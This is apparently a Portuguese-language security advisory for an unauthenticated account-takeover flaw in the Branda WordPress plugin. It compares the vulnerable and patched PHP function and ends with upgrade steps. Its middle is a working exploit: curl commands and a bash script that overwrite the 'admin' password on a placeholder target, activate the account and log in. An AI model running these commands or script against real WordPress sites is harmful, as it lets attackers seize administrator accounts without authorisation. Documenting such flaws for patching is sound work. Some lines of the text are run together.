
Unauthenticated Privilege Escalation via Account Takeover
O plugin Branda para WordPress é vulnerável a escalação de privilégio via tomada de conta em todas as versões até e incluindo a 3.4.29. Isso ocorre porque o plugin não valida corretamente a identidade de um usuário antes de atualizar sua senha. Isso possibilita que atacantes não autenticados alterem senhas de usuários arbitrários, incluindo administradores, e aproveitem isso para obter acesso à sua conta.
/inc/modules/login-screen/signup-password.php
A função pre_insert_user_data() na versão vulnerável carece de validação adequada:
// Versão vulnerável (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// Código Multisite...
}
// Faltando: if ($update) return $data; <-- VULNERABILIDADE
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
// Define a senha a partir dos dados POST
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// Código Multisite com verificações adequadas...
}
// CORREÇÃO: Adicionada verificação para evitar atualizar usuários existentes
if ( $update ) {
return $data;
}
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
/wp-signup.phppassword_1/wp-login.php?action=registercurl -s -k "https://ALVO/wp-login.php?action=register" | grep -i "registration"
curl -s -k -I "https://ALVO/wp-signup.php" | grep "HTTP/"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://ALVO/wp-signup.php" \
-d "user_name=admin" \
-d "[email protected]" \
-d "password_1=NewP@ssw0rd!" \
-d "password_2=NewP@ssw0rd!" \
-d "signup_for=blog"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://ALVO/wp-login.php?action=register" \
-d "user_login=admin" \
-d "[email protected]" \
-d "password_1=NewP@ssw0rd!" \
-d "password_2=NewP@ssw0rd!" \
-d "wp-submit=Register"
# Extrair chave de ativação do email e visitar:
curl -s -k -c cookies.txt -b cookies.txt \
"https://ALVO/wp-activate.php?key=CHAVE_DE_ATIVACAO"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://ALVO/wp-login.php" \
-d "log=admin" \
-d "pwd=NewP@ssw0rd!" \
-d "wp-submit=Log In" \
-L | grep -i "dashboard\|wp-admin\|error"
#!/bin/bash
ALVO="https://ALVO"
USUARIO="admin"
NOVA_SENHA="Pwned$(date +%s)!"
echo "[*] Registrando $USUARIO com senha $NOVA_SENHA..."
# Ataque Multisite
curl -s -k -c /tmp/cookies.txt \
-X POST "$ALVO/wp-signup.php" \
-d "user_name=$USUARIO" \
-d "[email protected]" \
-d "password_1=$NOVA_SENHA" \
-d "password_2=$NOVA_SENHA"
echo "[*] Verifique o email para o link de ativação"
echo "[*] Após ativação, tente: curl -X POST $ALVO/wp-login.php -d 'log=$USUARIO' -d 'pwd=$NOVA_SENHA'"
Configurações > Gerais > Associação: Qualquer um pode se registrar)Atualize o plugin Branda para a versão 3.4.31 ou superior:
# Via Admin do WordPress
Painel > Plugins > Branda > Atualizar
# Via WP-CLI
wp plugin update branda-white-labeling
# Via SSH
wp plugin update branda-white-labeling --version=3.4.31